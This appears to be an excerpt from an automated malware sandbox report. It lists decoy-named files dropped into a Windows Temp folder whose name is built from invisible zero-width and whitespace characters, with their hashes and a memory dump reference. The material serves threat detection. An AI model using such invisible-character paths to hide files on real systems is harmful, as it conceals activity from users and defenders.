SHA512 ab5ff4c9939623f76dbd57d36665ff042fd821349ad83ec979af987491042b467d8bb84798fea8d5718410f6aedb8286fe31eccd2071eaf4aac58520e0302e07

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Downloads\BackupExpand.mht

MD5 fb9f68801b0cb4f5163888d655fb9978
SHA1 1a34c122e8ce6dc779a6865261786fccab583a4d
SHA256 3ee053072a1e4917d4084da22efe781f360bdb4892a383304575caabe387784c
SHA512 fc6eeac561e6a01795ffdbcb33608a739807861e38e1f8d6b1ebaef1242f0986470c2c8dc0e7ca06789db62e0b126b3532abc3717a815fcef665047abdadcb76

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Downloads\BlockRestore.mp4

MD5 a462a95726d053c9bb48d11d0c41cd96
SHA1 7fd97de939594978efd7168a65cc4161487ae5fe
SHA256 b27af751b935ac666061c166523aa77b2b54cc176fa92026235ff5db4a5dc30b
SHA512 98e2444104c205dc78a578791f2a4ca61b2b3deae6dd215ec4211657e04b9ee70cc5a5a40c0bfca712beef0c8816cc4b276400064cdc40e027894e41d16e21b4

memory/228-287-0x000002069C460000-0x000002069C7D5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\  ‌‌  ‌   \Common Files\Downloads\HideRequest.docx

MD5 aca00e1a9a17343363aaeca335475d4d
SHA1 8391e2116a64f2c6520852ae208b08f0ed66035f
SHA256 cce92a89fe7ba88b985f6b75e8317112cd971536be026f969ece9700145bedd7
SHA512 f1d9f8f04a198f978e1f3c11c9f373337de989a2ca449b51d9ebc62b5e800d8606e240e60c0a0f697eb6c70f815349d873a7778423bda12cef2e3c6c33e43627